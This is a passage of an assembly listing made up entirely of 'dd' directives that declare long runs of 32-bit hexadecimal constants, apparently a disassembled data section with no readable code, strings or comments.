0E13868DBh, 0C80577EAh, 46557C48h, 4F9CE31h dd 8146E565h, 0D7E61B19h, 8BF14128h, 0ECA68E8Ch, 0E4280A59h dd 0F8812EA3h, 1CD0950Ah, 4E8EEC0h, 0CAFD122Ch, 0CEBD321h dd 2502DCC0h, 1D367DABh, 3CE384B0h, 1BEF18DAh, 666A2532h dd 6F469FC5h, 0E628757Bh dd 0D1A1E833h, 20734D1Fh, 37A9A807h, 0C40FA07Dh, 879252D7h dd 0E592D44Bh, 8C749F0Eh, 0C975F65Fh, 0E2B804Ah, 63A8E13Eh dd 0FBB66005h, 0FBF80AD4h, 0AE558AD4h, 3B09B20Dh, 9293006Ah dd 8071346Bh, 2DAC08F0h, 30100927h, 129A9682h, 0BBB1FCC2h dd 0AAF11619h, 21EA6E47h, 46D8B6FFh, 4F47A01Ch, 3DA519BDh dd 0E9B6328Fh, 1263FA86h, 526A5739h, 0AFAD5BC9h, 8C731DB7h dd 5A421212h, 0F08D94F1h, 339C2904h, 1EF4D83Ch, 38178D0h dd 0D4E858Ah, 0FBFE2725h, 72328625h, 40390416h, 2168CC1Bh dd 32B4F0D3h, 2CA7A1AFh, 0FA999818h, 0CB6CCE87h, 0BA731C5Ah dd 0A08E9965h, 117A1346h, 0EA4CB908h, 0F3B31FF3h, 0A947595h dd 5DCE81ECh, 0B60C3120h, 29FBFD1Bh, 485076FBh, 35C13875h dd 89581FECh, 8FC06413h, 0E6624ADFh, 179E4C43h, 0D95A7C07h dd 0D680185Ch, 8738D0BAh, 9D3A8E8Fh, 0FA0E5D8Ah, 8B35165Ch dd 0A4B202A1h, 52859870h, 0A982F755h, 165EE1D3h, 53D0149Ch dd 0ABF25FF3h, 3350163h, 2268870Fh, 0C8110998h, 609FB79Eh dd 0D773B4DFh, 2819DDE5h, 6288D599h, 33E20B6Ah, 404C8014h dd 0FB0C4C3h, 2977B02Ah, 38B885C8h, 0F0DC0EEFh, 0D8A91681h dd 4A145C35h, 44C940F7h, 0B9EC6461h, 0EF978E93h, 0E4BBC81Ah dd 0F2DE3CC4h, 32562D68h, 0BE877819h, 362839EFh, 1C0BF7EAh dd 647FB9E5h, 0FEE29FB9h, 90077D16h, 8F95C8D1h, 0AA864372h dd 98952CFBh, 0C92AB89Ah, 7D1571BFh, 50DCEDFFh, 1CF2E616h dd 96307B66h, 60D5357Bh, 0D9E9D4F6h, 0CC91AB3Bh, 496A515Ch dd 0F1989509h, 40C1BA71h, 0C9812670h, 0E9B55EF4h, 6D638DB5h dd 0B20EB34h, 0F0CA486Dh, 0EBC20615h, 0C746EA6Eh, 0A6667217h dd 84E9205Bh, 96ABA0ADh, 2714DBF9h, 39A964E6h, 128FADEAh dd 4BA7EB5Ch, 1A0A9D60h, 80C5A0E3h, 99CC2AACh, 4D65E906h dd 0B7B5642h, 841AA29Bh, 68F4B71Ch, 3ED35E94h, 96AA4D02h dd 121C519Dh, 18FF435Ch, 0BC1FE81Ah, 76F30B32h, 9DFABAF0h dd 0E836B354h, 0EF508F7Ch, 3020040Dh, 4FA05601h, 0A3CB2835h dd 0D58EE032h, 0CD33A736h, 0D5326D2Fh, 0D582DB96h, 2F235DFAh dd 32590DEEh, 98839ACh, 0A9500439h, 95AB72CAh, 0E7EDFFA1h dd 50CBF0EBh, 8902D1C3h, 0A0DE4F9Fh, 7BAAE6F2h, 66DBD6D7h dd 867DB094h, 2FC54449h, 0CC092C1Eh, 0FEAAEA3Ah, 0E2E68093h dd 0BE12A54Bh, 592AE0F6h, 82D35603h, 3A40A39Ch, 48BDB57h dd 0D432C55Bh, 0DE25AAh, 0EE65487Ah, 4C3011F2h, 40647584h dd 0F092ED8Bh, 0D24E4DC2h, 0B3D52810h, 0EEE442BAh, 20DABE9Eh dd 0F17B2518h, 8E65546Bh, 712AE06Bh, 6CC882BEh, 608994D0h dd 4CFD1ECAh, 0DD10871Eh, 51168110h, 0B8CBA630h, 0D5C9CC59h dd 0B00E04E7h, 73DCADD8h, 68316058h, 34E14D6Ah, 0E32B0519h dd 0CFF6B7B1h, 95127C01h, 30B75764h, 0E35F606Fh, 0AD3D75BFh dd 0F803C79Fh, 257C9A1Ch, 7C51365Ah, 0D1CB3DB3h, 2F2BB9DBh dd 0DD4239BBh, 0EFFC235Dh, 34FADC0Eh, 0D10A0BD2h, 1A6C9A6Fh dd 0A12035E2h, 0A88092D3h, 194F6FBAh, 45CE4181h, 3457A7E0h dd 543201A3h, 907C9E1Bh, 28F39DC5h, 0A0958E2Dh, 0A7965ACh dd 16BE29F7h, 5087C329h, 0BAFC7229h, 65A6E218h, 243CDA6Dh dd 4DE8467Fh, 183732Dh, 1911481Fh, 0F08A3240h, 0FD474D22h dd 1831BBAAh, 0EEBAE89Bh, 7335C647h, 36219843h, 6B129525h dd 654A2F77h, 493AC319h, 0A2AFE18Bh, 0A69B49BCh, 0F8A6AF98h dd 0E3AD21AEh, 794278BEh, 8212E39Dh, 9551A1C4h, 0E3A578E7h dd 3476AF03h, 0C5320511h, 0FAFDB403h, 43E4BCEh, 0DE2C4043h dd 4699DD9Dh, 4A0ECE16h, 8441D2EDh, 75B33B43h, 0DD8F1C61h dd 0EEF6DAC8h, 0DB735349h, 0F4D8638h, 6745F199h, 0E9A086B2h dd 0D1CC91B6h, 0C341D5CBh, 791B8ECFh, 0FBDAA271h, 5E995EE9h dd 7BB3B46Eh, 605CA862h, 0C6FC0D1Ch, 0D0E63EE4h, 0D668181Ah dd 9DAFA4D8h, 4B36DAF8h, 208EA845h, 690151F9h, 6982FB99h dd 20B2EEC7h, 9AE9CFCEh, 327E617Bh, 0CC83DC85h, 0B1508D4Dh dd 1D1BF396h, 21736EDCh, 3549021Bh, 565354E3h, 9B90CE86h dd 0D86C5F56h, 21E96577h, 0EBCE4E92h, 6DD8D0Fh, 75995B5Fh dd 57B25AAh, 32EE4173h, 0C4761DE7h, 0E4FEE80Dh, 8DFF14DBh dd 57E67062h, 1DC21E6Bh, 0DDA4D3h, 0EDFA24D2h, 515E4052h dd 38AD8ADAh, 451B3F01h, 6DE3947h, 80895079h, 262E1708h dd 9128DFD2h, 0B85A9EA4h, 38475D29h, 0B6FAC510h, 8861FE40h dd 1BEEBF56h, 0FC351DFAh, 6A3547C4h, 4870D8D3h, 0BB85A317h dd 9D5FCB54h, 0ACA85D62h, 0F084683Fh, 0C03E74E3h, 0C3A57222h dd 32C24F4Eh, 811210F1h, 564C3D2Ah, 0FD33F7BAh, 0FE460775h dd 0D145D896h, 0C3DB27C0h, 0D6768D34h, 0C7F1FC6Eh, 77B816F0h dd 5F0C060Ah, 0FE6B1E91h, 76D6FC64h, 83A0AF57h, 9F1465C2h dd 0B19CED5Bh, 0C788104Ah, 8F675C9Ch, 38D4C67Ch, 0F380F587h dd 0D08E3673h, 6E121719h, 1E31BAA0h, 5BB97BF6h, 197C5C9Bh dd 3C2824B9h, 0E472AAC4h, 3CB834C0h, 0B774652Dh, 906E8B42h dd 6270D94Ch, 0B49252Fh, 0FC345775h, 0BEE6CCA8h, 0EC81E02h dd 2A01A012h, 8A177003h, 0B968763Bh, 7536170Dh, 0F12F77FDh dd 0E290E13Fh, 6018DFE2h, 52E64AA3h, 0E8272A7Fh, 65D2BC8Ch dd 7D52AE80h, 0A17E5A9Ah, 97B9BDEFh, 0D457B53Ah, 0CC9A2D13h dd 0BD7A8D81h, 324BF0DAh, 0F4377F07h, 4679E2A8h, 32DE3B5Ch dd 0E5A3F86Dh, 351A9611h, 0EF1D340h, 36AFAB2Fh, 1FECEACDh dd 0B16DCF75h, 0F78E305Dh, 7364C5B0h, 9670136Ch, 24CB5867h dd 4F4EF858h, 7B32D390h, 0FD34F07Bh, 17D0B0D5h, 140020BCh dd 231DF76Eh, 46F728BBh, 0FCF401B6h, 67E05796h, 3623BB11h dd 0DC6523E2h, 0DD6CA293h, 1E38B804h, 68826458h, 0B8CB6502h dd 5CD2A017h, 3FD904FFh, 0D6B7EC8h, 341FEEDh, 5990D213h dd 0DBF71A82h, 530A73F8h, 24A9DC36h, 0A02A2004h, 0A5562B56h dd 7D947E0h, 0FC98B478h, 53D92942h, 8099474Ah, 0A63C8AA2h dd 0B40CA194h, 0ED03BF2Ah, 485BEC93h, 0E8B8D15Bh, 0F1F4856Dh dd 3F0DBA5Ch, 249978FCh, 25CA206Fh, 5382B992h, 8ECEC072h dd 0B1FFF0E4h, 0F93AEAEBh, 0D1C9CF6Ah, 58A4C1A2h, 7B5378FFh dd 0F4FE1E63h, 0BA2122ADh, 0E9A15CA4h, 0CB82B3C8h, 63302D60h dd 183AD974h, 242B7C4Eh, 24C8A26Fh, 10D3553Fh, 0E15C5845h dd 3B648DF7h, 6DDA3C8Dh, 7FFCA2FAh, 6D57FF42h, 4ABC09D6h dd 1C21EE27h, 7F44721Fh, 31B1E815h, 75CB4230h, 5E967272h dd 51623CF2h, 302941B7h, 0D6C5571Dh, 98EC1D88h, 1480DD5Ah dd 14AC2E24h, 2E7CE011h, 7FE68E85h, 22695D9Ah, 0DD31A749h dd 0C60AB5F5h, 0FB0A715Eh, 0C08C4061h, 1B5B59E7h, 0A04C1FF9h dd 0B223954Ah, 0F82DC354h, 0F8EEEA60h, 2750574Dh, 0ADB8A753h dd 7EDF1765h, 9BE7DA2Bh, 0C7E5DAA9h, 0D76E26A8h, 4703CA95h dd 77B7AF65h, 19D047A7h, 862E1BDBh, 6E940575h, 0F3AF12FFh dd 28B196D2h, 2718D69Ah, 0A101A955h, 0B9AA760Eh, 0FC16B7B4h dd 0EC3BD7F9h, 6A03C685h, 865AE332h, 1FF3B33Dh, 483348C3h dd 0D705BB14h, 1A9BBE83h, 0BF3EE615h, 3D90F9A6h, 0A1A0BD81h dd 0E90B5E26h, 0DC8B242Fh, 2E958ABCh, 4E9A026Ch, 2EE8306Dh dd 25289430h, 0B734938Ch, 0D21D041Dh, 0C1FD44D4h, 0FAF292D2h dd 0BCA4BEAFh, 0AB9AA1C4h, 0BB3134DAh, 5511E029h, 0FD0CA94Ah dd 0E86B8C4Fh, 0C96B8E14h dd 0D9C05E32h, 0C82E5893h, 0D88D22E8h, 59A2B388h, 230A485Ah dd 0A75A867Bh, 817E34C9h, 0F0AF3FF9h, 0A3B10C92h, 737FFB80h dd 0F5382A54h, 0C6DB5643h, 97E66045h, 8AAF85Eh, 6E074B8Bh dd 52CBC21h, 697973CFh, 13FB8721h, 7C5178A8h, 36675BCFh dd 0CE7A0320h, 0CBE7AF45h, 3FCD3F27h, 7EBF3939h, 0FD0378CAh dd 2CF4704Fh, 0D09827C8h, 6155F7BBh, 0F8A888FEh, 0E9DC7537h dd 0DBFF40C5h, 0C8CF9B66h, 0DB6CDDC6h, 0F1451705h, 22E8F3B0h dd 65247051h, 0AE649AF8h, 0F8573CE1h, 827A7E5h, 31F07370h dd 0D03FC16Fh, 2FA065E4h, 0F2D3D6BBh, 66C1BC2Bh, 16A664D6h dd 96FB57B0h, 1C866FFh, 58BFF3D3h, 578D3EA6h, 0E2F85672h dd 3FA300C6h, 0EFA85920h, 3169C295h, 361D68FEh, 0D07B329Ch dd 0E71545A6h, 738143EEh, 0BAF1B746h, 0CD1E1241h, 35386419h dd 5648169Ch, 3F8E159h, 0E9D73FDCh, 324B7EAAh, 0E15C9FADh dd 0EE9975C0h, 0D52390E0h, 2B742A53h, 9971763Bh, 0A624D8C9h dd 0E918B38Dh, 0CCF4163Eh, 9392B629h, 6D79C1FCh, 1EB9B7EFh dd 3EEE2F1Fh, 4A2B566Ch, 2D3AE4EBh, 0D51AD8D2h, 687CC6FFh dd 72B1B496h, 0B4974678h, 0E971CE73h, 28551B8Ah, 0C22F0941h dd 102D0BCDh, 3C35323Bh, 9A58721Ah, 4B461BB1h, 8570433Ah dd 0CF9EDC13h, 0E68EF75Ch, 0CF42648Fh, 7935EA09h, 75C30A78h dd 0DDF7E668h, 7E96C635h, 0F97F3A2h, 2FCD6F86h, 0D0A6EA42h dd 5769F930h, 1CDCB015h, 15EB8A73h, 3A0F8E67h, 78FB498Fh dd 0DCC5E21Ch, 0BF4CC64Dh, 6967A3C1h, 0D8594E81h, 0DD081D01h dd 4ED82587h, 19F80429h, 0A4E3DFBDh, 0D60F3A25h, 0ACD125Bh dd 965F0BAFh, 0CFBD8FBBh, 6AFD85F5h, 0D59CC60Ch, 45254420h dd 64A71715h, 0FC639CA3h, 729B03A6h, 0CACECC43h, 39CDF4B8h dd 4E5EE40Ch, 2182EAEBh, 6FFD65FBh, 138F1B4Ah, 1E8ACD9Eh dd 0C4E32815h, 0B387CD6Eh, 2E0CDF82h, 1B41EF8Dh, 78145558h dd 55000723h, 73882CD5h, 0D1511B77h, 1E2075FBh, 0C8015020h dd 65A66Fh, 122CAF0h, 6FAF284Ah, 993F1703h, 5C4B053Ah dd 33CA6A1Dh, 0C10EAC25h, 834DA4F1h, 0EDB0A0ACh, 0B1B39371h dd 0F9FC4A3Eh, 10017365h, 5F11005Bh, 76A4C966h, 611D63A7h dd 2A5B3915h, 0FCD7D898h, 82C6B296h, 5B2BBEE3h, 51D6ABEBh dd 27651AB3h, 0DC17DA89h, 4E5ADD46h, 995D2B97h, 38AB6251h dd 0B9E0B3BEh, 0C2DD5385h, 0DD0750C4h, 0F46D837Dh, 13B99E7h dd 2A70E285h, 0E301EC05h, 0C40A94CCh, 674D31FFh, 6904BB88h dd 0AF01BA1Fh, 0D1970220h, 0E3862B92h, 0AA42DE51h, 0F469B42h dd 46BBB901h, 1D53B447h, 2B186409h, 249325AFh, 99A7BE2Fh dd 774AF618h, 112F5205h, 0DD165E3h, 6C1F76FBh, 6B52DEAEh dd 0DB362246h, 40C5B4E8h, 0DF874B21h, 0F89739D8h, 0E1C29ADCh dd 0FA7D7C93h, 224C5E59h, 4DE2BCA3h, 0AFE8FCCBh, 3BA8B420h dd 0DC1E2205h, 469A5A26h, 0CB22C801h, 0A70303A3h, 0F8D60E3Ah dd 0E426A2D2h, 0DC945FE0h, 7A1BC7FEh, 7947338Bh, 2BFA78E0h dd 56365243h, 830DE90Ah, 982440E6h, 0B8325723h, 0C489864Eh dd 7BC444CAh, 0DFCEAE49h, 0FC1072C8h, 8FE29D8Bh, 7C10BBC1h dd 0EFB93B77h, 8045E918h, 64FE7A49h, 1EA15B5Dh, 0B1659C02h dd 6B0DCFC3h, 0AC6A507Eh, 0F3193E6Eh, 8C8565F8h, 57146B07h dd 444F9AABh, 9ACC17D0h, 12E7188h, 0BA40B759h, 26643A5Dh dd 0E0A2457Dh, 0A102ADB7h, 5177FD6Ch, 0BFD07A39h, 0B2DF1C8Bh dd 9F1AD3B6h, 76ACC310h, 0A663122Bh, 957415D2h, 22F887F4h dd 2D0346C5h, 0A5829AEFh, 0EA3EEB29h, 652545EEh, 0AF5BFA93h dd 7F120C16h, 96D651CAh, 0A7C9FE05h, 0D7F151BCh, 98CB72E7h dd 1F8A5199h, 2B271CE5h, 807AD892h, 489A69F3h, 8C38FB06h dd 0A0AC94Dh, 1646380Ah, 0DCFB576Eh, 4ABE9682h, 55D2B559h dd 0BBA2E819h, 665C7EB1h, 324D8D9Dh, 941FF3E9h, 0FCC32B94h dd 4E50A705h, 0BF63631Fh, 0FB13A667h, 0B7CE55B5h, 0E2F698C5h dd 0B3423E33h, 0F90AE849h, 552FBF6Ch, 0A500C080h, 0E9C3A20Eh dd 0F6E576EFh, 0F1D1EA4h, 9C3F25A1h, 27757944h, 7AD5B258h dd 0CAD52A73h, 0A197911Bh, 448794FDh, 924C670Ah, 0CF4A4A54h dd 0C6B4C39Bh, 0D08B389Ch, 398B59F8h, 4959BDF6h, 141D8F50h dd 50014570h, 0E2A1025h, 0BA62243Eh, 0BC3CEE69h, 0A54BBFEh dd 0EB02A78Ah, 0ADAFF040h, 4571017h, 0CED186D7h, 0BF3FB1C1h dd 0BAF8DE7Ah, 89CC0C14h, 0E899F1E2h, 0CE69D80Bh, 0A395975h dd 15B42550h, 0B9C47114h, 0BA13EF8Ch, 0E7CA63F0h, 5B6B8729h dd 0B5811A81h, 71B20CA3h, 0D2B9A8FAh, 6537382Ah, 5123B03Ah dd 97EB61C6h, 6C96BF99h, 3477E590h, 618A2014h, 6DE9B813h dd 6476AFAEh, 5370EFE2h, 34431F03h, 0C149EF01h, 0CCA48A90h dd 9F857CD5h, 98E8C03Eh, 0A3BCC1E0h, 0B4E079Ah, 56CC7AEh dd 385F84B3h, 64F5CAC1h, 2E1BF562h, 8733040Eh, 1CEF2F03h dd 6656290Eh, 0EF6AC4E4h, 164D70CBh, 2B03A52h, 0CA20154Ah dd 1EB17528h, 64ABAF1Bh, 1B5D7CE0h, 30B71C74h, 3BD7D29Dh dd 992C6833h, 0E19DC428h, 9E6009AEh, 0E79E472Eh, 0EBBD7F09h dd 9561A59Eh, 75410792h, 0BD8F661Ah, 8C95A3FFh, 8E9AF5C0h dd 86A99C32h, 0B945FDD5h, 4787F66Dh, 0E068E411h, 26D735E0h dd 842C020Dh, 0EC9125CCh, 513225D4h, 7BB19848h, 7D0E43A9h dd 6936492Eh, 0B39997D6h, 921CD928h, 0A2ABD317h, 0CBC0361Ah dd 3FB3E4Ch, 41AC3FE5h, 0B9CE1B91h, 0F73ACFAEh, 3C230C69h dd 0C7F91E76h, 0C9FAE825h, 7642CE93h, 9E030A07h, 0F869B449h dd 929067Ah, 86BB5A0Fh, 0E29F4092h, 77DAB8D9h, 0B9639A22h dd 7EFF0DC1h, 0CFA71193h, 6DBF1EF7h, 705F44F7h, 0A46780Dh dd 1B8A0ACCh, 6626CE3Ch, 29EEAD0Fh, 663361BCh, 0C2D298B4h dd 0CE79E17Ch, 68706707h, 86E84533h, 636BC266h, 0F5A7672Dh dd 622D7698h, 0FD818328h, 795EFD6Fh, 0C7A274EFh, 3629DC56h dd 0BB366969h, 638F2BC9h, 0B9F263F2h, 416717F2h, 0EB9437DFh dd 1065B650h, 6B64AD26h, 18F33E73h, 0A0538F5h, 0C1273253h dd 2C84FAAh, 7210E340h, 2240ADA9h, 0AF153EF8h, 0BE111312h dd 5DF3CC7h, 0E56DD909h, 6A58CC24h, 182BCC06h, 3D18AEBFh dd 6C0D3810h, 0C9096569h, 1C239024h, 82404E4Dh, 1230209Eh dd 1C448230h, 9A89A400h, 7AE333CFh, 0A9772C8Eh, 7CFF5C4Eh dd 974D2E13h, 3E9B0F21h, 0B19E8C89h, 931424B5h, 52CFFD39h dd 59B6F04h, 956D78B2h, 755E0351h, 3F25B6D6h, 0D5DEC967h dd 0B1132477h, 0F3395FC6h, 73639182h, 560803E4h, 41CB6775h dd 7910F002h, 0BD5A0AD7h, 4F8E9Ah, 0F46F3D77h, 0EEF20588h dd 1D1F1B8Ah, 0E3AF1F66h, 3CA8BACEh, 5FF6C4CCh, 358BF0F0h dd 4B6CC46Ch, 0AE07F029h, 98204DEBh, 689EFA63h, 0C1C8567Eh dd 0F989CCDCh, 97A2CE2Dh, 1399DBABh, 6EF6F9F8h, 0DEA0D82Ch dd 0C51DA8C8h, 306AE942h, 0C8610B08h, 0F7BA37B0h, 0C16F59AAh dd 3E7A7AAh, 50113CF2h, 0ADA570C4h, 317EBB03h, 347840CFh dd 41F4164Bh, 7116A8A3h, 0EB839786h, 0F2855E38h, 621984F0h dd 0E26A533Bh, 0EEC3449Fh, 0C27190B4h, 0EEFB75ABh, 0C57B583Dh dd 0ECA22AEDh, 0D95C220Bh, 513839FFh, 536154E7h, 0DA33EE60h dd 0FD9F10AEh, 785ED5CDh, 4A262872h, 0DAE16876h, 9283181h dd 0DC74121h, 0ABDFCE7h, 0C70ED113h, 6703955Ch, 0A153DC8Fh dd 52E01756h, 29261A71h dd 0F720CE9Fh, 0EC748F95h, 0B23CA036h, 102F38F4h, 0A2D0EC00h dd 0DE1B52Ah, 0AC3BC50Ch, 16454638h, 8577D942h, 8DCEF454h dd 0BF9B8340h, 5ADE9A5Bh, 4A203AC6h, 0F6C1965Eh, 69C34A54h dd 0F07CC2E8h, 13E756Bh, 39375AECh, 9E75E014h, 2EB5DC02h dd 0F3B77D10h, 0D147BF3Bh, 0D78A4CF0h, 2D4D7EF5h, 0FE4EF9DCh dd 702C8C3Ah, 16453BAFh, 0F4235084h, 823ABCB5h, 0B14A917Dh dd 6A651872h, 589FE7ACh, 3C76A037h, 0A3D1ED6Fh, 477136E2h dd 25CE6235h, 1BA8A380h, 39A5DEE2h, 1545699Bh, 0AA8A0685h dd 317E4C27h, 68C731EFh, 0C156E49h, 31830E24h, 0A7218857h dd 0FD941A8Ah, 12FAFCBEh, 988CBC22h, 0FBFD1ACAh, 0D502F847h dd 831F9C0Fh, 0E60205C9h, 2AF24F26h, 7C11A68Ch, 0BF9CACB8h dd 0C3DE4668h, 12734058h, 1C511630h, 0CB321070h, 9ED70FB0h dd 265B679h, 0B081E7D3h, 0CC9C6D7Dh, 0CF47280Fh, 281348A7h dd 45367C13h, 4A62587Eh, 0CF7BCBD8h, 666F3B99h, 1B3BE9D3h dd 0DFD915B0h, 41C8BC9Bh, 7E72FAE5h, 0DB242336h, 12798BA5h dd 766A3CFEh, 2778ACF3h, 9C92A942h, 0B04101DBh, 8587FDB1h dd 0C06282B8h, 0F8BE98Dh, 0AD41D07Dh, 5B29EA55h, 898CB317h dd 628C0858h, 0A69B24CFh, 80A65F66h, 0BF7DC450h, 1FDD27F2h dd 0B6F34E3Ah, 0DA5C9E70h, 1DD65845h, 30059D0Ah, 36F87C81h dd 0BD62056Eh, 0A5EA451Eh, 35D964B8h, 58359906h, 0B729DD24h dd 8FC5483Ch, 0C9DC6175h, 0F8C3A401h, 96A1FF71h, 0DD7DFF9Bh dd 8E946926h, 0FFDCEB74h, 99CC83D7h, 7861B40Dh, 840EAFA6h dd 0EB361230h, 0BBA95720h, 0D7B9388Fh, 9A5C0742h, 4D12CAC3h dd 0FCFCD00Dh, 699D68FAh, 0F3076E05h, 93E87316h, 47947BADh dd 0C81E7B3Ch, 33C6F29Dh, 8F32E214h, 0AD1FA4FDh, 8BB6C2C1h dd 0B1784327h, 99E800A8h, 0C606CE46h, 9860F33h, 0F0AD6858h dd 831BD04Eh, 4842C882h, 0DAC079D2h, 3012966Ch, 5038D851h dd 274FDA19h, 9F3C1A17h, 4A5D6C0h, 0F7AB3412h, 4976D454h dd 0B289F4DBh, 3E02291Bh, 0ECF41CF9h, 6EC100EFh, 0D0FB2601h dd 0A33B4B3Fh, 9A14A640h, 70D42CD9h, 1C731BC4h, 0F7DA2103h dd 64E1CDE9h, 4BFE24EEh, 25E0E14Bh, 3087CAC9h, 8A105E3Ah dd 414DA3Eh, 2963F575h, 0C4F8128h, 1AEE4F0h, 0FB6612BEh dd 443F59E7h, 38C85CAAh, 486693D8h, 2396054Ah, 8D07A488h dd 7D34A526h, 5E01348Dh, 90AB0183h, 32D36C35h, 2BEF5884h dd 0DBA444C3h, 23B9EEEEh, 51EBFE77h, 43C47A00h, 7A785F9Eh dd 12C8EAE1h, 0BF05CBD7h, 0CC4EAC9h, 21292A4Ch, 0CFB10E9Bh dd 1F4AA312h, 0DCE86E15h, 0F23606A0h, 29B4E425h, 54DEEE8Eh dd 9A942B45h, 0C2CEAAA5h, 6770C4Fh, 8B0BBC6Dh, 87270310h dd 0D0AD3B2Ah, 26341E8Bh, 0AF6593F6h, 5801C79Bh, 0B82FB587h dd 0E0BF6707h, 0B0535947h, 0C4C4D6A0h, 0A7BD4E5Eh, 0DD249E0Ah dd 3168574Dh, 3F727301h, 304EAFD1h, 0A84E536Dh, 0AC50A9ABh dd 0DD0F5771h, 2E2EC0D2h, 0C6D41AB6h, 0D4C85D3Eh, 3F6591F6h dd 0F9D82B59h, 0E1A73344h, 0D50FDF2Ah, 0EF7B7CC7h, 0C982EC68h dd 4BA24926h, 0AB53072Eh, 0EAFF8A9Fh, 0A9E9E37Dh, 5926E01Eh dd 0C905DF75h, 20A35E47h, 78AB9BE3h, 0B2AF6471h, 3B7B0017h dd 8B4355D9h, 0A49D09CAh, 78BC0388h, 235497F4h, 9253DB48h dd 5FE98C8Dh, 62B9B071h, 0AFB853E3h, 8A2644F1h, 0ABC8B3D7h dd 0BF12AD22h, 0F4A6F91h, 0C45D0A1Fh, 78F1F6C7h, 82D77CBFh dd 0B1F8647Ch, 0ECB078D6h, 37226723h, 92944856h, 0C514B73Dh dd 0E827B076h, 56321178h, 0A7F422F2h, 7BBD042Eh, 86007ECCh dd 0CD4CF0Fh, 5F637A90h, 0F4BC3EFh, 0F075F1BCh, 0F422EDDDh dd 7B7A1E81h, 5E2DC9F0h, 0F2DE85B5h, 3D44289Ch, 901DBCF5h dd 9C14052Fh, 0F1602ACBh, 0E312D1C1h, 820BB497h, 0C66A3CC5h dd 9D8F90A9h, 0F4EC4E57h, 1522C2D4h, 8B199E19h, 1300604Ch dd 0E109CAB3h, 0F2662018h, 4F011D05h, 0FEEF10BFh, 0FCBF99A2h dd 0EA0F157h, 7253C7E5h, 58A15EACh, 4048424Bh, 50B6E27Ah dd 25CA2E21h, 7AEEBED0h, 0E4108BC9h, 2DAC45D8h, 8A8EABF2h dd 0B188ED84h, 72DE590Fh, 64AF1BF2h, 0EE737E3Bh, 74519E60h dd 1C2515E1h, 11D8F4E5h, 2A6EEE2Eh, 365D5C1Bh, 918A0FB0h dd 3496E01Dh, 0F0EA2AD4h, 5173922Dh, 0F11B22D3h, 0AF1C6DEFh dd 0D11A7868h, 6C99E37Eh, 66920D18h, 3F289C92h, 9F4ACAA3h dd 0AEF4C253h, 0ABE7B91Fh, 700ADC5Ch, 296D237Eh, 0ACA97634h dd 5A36C7C4h, 176C6BDAh, 0B4439CD8h, 755039DEh, 0F7E5D29Bh dd 0FC8105CFh, 28DA1AD6h, 0C19BEDC8h, 717AACACh, 37B40FCh dd 6A03BA59h, 3143571Eh, 0AD25E50Ch, 4710683Bh, 88D73625h dd 9B186E70h, 227C9B8Dh, 0BA55E1ACh, 0E96A752Ch, 0E7ACD677h dd 0F171A3Ch, 635FBDC9h, 0BA021542h, 8EEF5992h, 700DC5CCh dd 20057F6Ah, 10DBF6DFh, 7391A9E1h, 0A3C6D6AEh, 2BA56B55h dd 0D2A33E13h, 2B677260h, 0CCC78081h, 0AED4F573h, 0CC8D0628h dd 0D639CE44h, 0A37C133Bh, 0E7623D35h, 0C6962B44h, 1273832Ch dd 6D14CB73h, 0DBFF1761h, 8E489FACh, 0A0E6F476h, 815AB3EFh dd 7DA9E9E2h, 45F9C1EBh, 0E9FF02D9h, 0F9DD4BB3h, 12DF375Dh dd 14579A2Fh, 948D2DF0h, 0C67FE06h, 71716FCAh, 2762C631h dd 97982BA8h, 21C56262h, 25113F16h, 6F8FB50h, 0CA71D4CFh dd 7E3440A7h, 0F1B57D09h, 0C1E8BD4Ah, 871239B0h, 3A06A185h dd 0D79AE4AFh, 3A958D19h, 70F9E6ADh, 3F0AAFC4h, 8D23C86Ch dd 2471878Eh, 2C7F3559h, 96D26D8Ch, 55FF0ADAh, 0CB54984Fh dd 794FC180h, 0F65C5F7Fh, 0CD944A59h, 0CC042EC7h, 7CCA7F5Ch dd 0C71870D9h, 33D87CFBh, 0BA05181Eh, 0AFD579FBh, 56C81049h dd 0BCDC521Bh, 0B90670EFh, 3B87B7B3h, 5035CEE0h, 386CF5BCh dd 3FFDF412h, 339DFEA8h, 7767DD0Bh, 0A9D80882h, 3F646F61h dd 0C57B27D2h, 72508E27h, 12C3169Ah, 66047116h, 7D9024AFh dd 71D5CBB3h, 5C9A1934h, 0C17325B2h, 22D626B0h, 0B49B26B9h dd 115065DBh, 625E73FDh, 9A170643h, 0D3A2FCE3h, 0B30D7730h dd 48547996h, 0F1ED71DBh, 0F414B8Ah, 0DD6C772Eh, 9AD6BCAh dd 542FB9E5h, 94B7475Eh, 0E1C2F541h, 0EC698940h, 700D8012h dd 0D8D775CEh, 57091FF9h, 34DA4CD6h, 0F9A2DEB5h, 0EAE874BEh dd 395AA12h, 0D8B593ACh, 5FE936F9h, 7AAAE664h, 24D8949h dd 0B6B08183h, 0D2769219h, 4DE0B1EBh, 66969D59h, 401254FAh dd 381694C7h, 0BDFA4235h, 9EB3E904h, 5B54E8F2h, 0E5F0FB58h dd 5532FA96h, 7D468342h, 3B5D0D36h, 92BB1547h, 0BE56B6D1h dd 0ED5ABCFDh, 3657109Bh, 33E1B41Ch, 8A19AA89h, 32E46009h dd 6B31EABh, 334DDA99h, 86E0BD47h, 41C7B28Eh, 0EFB0F1CEh dd 93492BE7h, 4C7B6D6Fh, 98CE8DB4h, 0BF1D3ED5h, 6AD6588Fh dd 754FF3A4h, 79EE0763h, 0C735803Dh, 0E6B7873Dh, 2B786F40h dd 19BD155Ah, 97FC6EBCh, 0E3B55796h, 3DF7BB98h, 0F7B26C07h dd 4A78FC0Eh, 4D2A5F4Bh, 75482495h, 15973D2Bh, 544E28BBh dd 366168BCh, 168E43Fh, 68934E88h, 0A3E71362h, 342152E0h dd 4379E9FCh, 54841E94h, 0DC9FA3DAh, 376A15F3h, 8CBECF41h dd 8BBA620Ah, 0DC380CE9h, 0BE1FDCE5h, 29F502A7h, 494217D0h dd 7F3B6A50h, 70EC3F41h, 32039927h, 65DD524Fh, 663F4414h dd 27CDAEDFh, 0EDB6EA0Eh, 0DE5EAD1Ch, 3EABB34Bh, 37036DF9h dd 5E570199h, 0D706CE4Fh dd 1B79F7C4h, 0C84EC854h, 675C219Dh, 2541ED2Eh, 0DC6BAFF2h dd 8289EA00h, 27926381h, 7EA8EDDEh, 0C48094Fh, 707DDD2Fh dd 756E55F7h, 945BD547h, 0ED4A875Dh, 6919D76Ah, 9060A312h dd 64AD3BE9h, 0A76332B1h, 0F2AC9196h, 48AD966h, 3BC95DC8h dd 0B1FE2596h, 0F8A41F03h, 0E7AD1E22h, 0A20D634Ch, 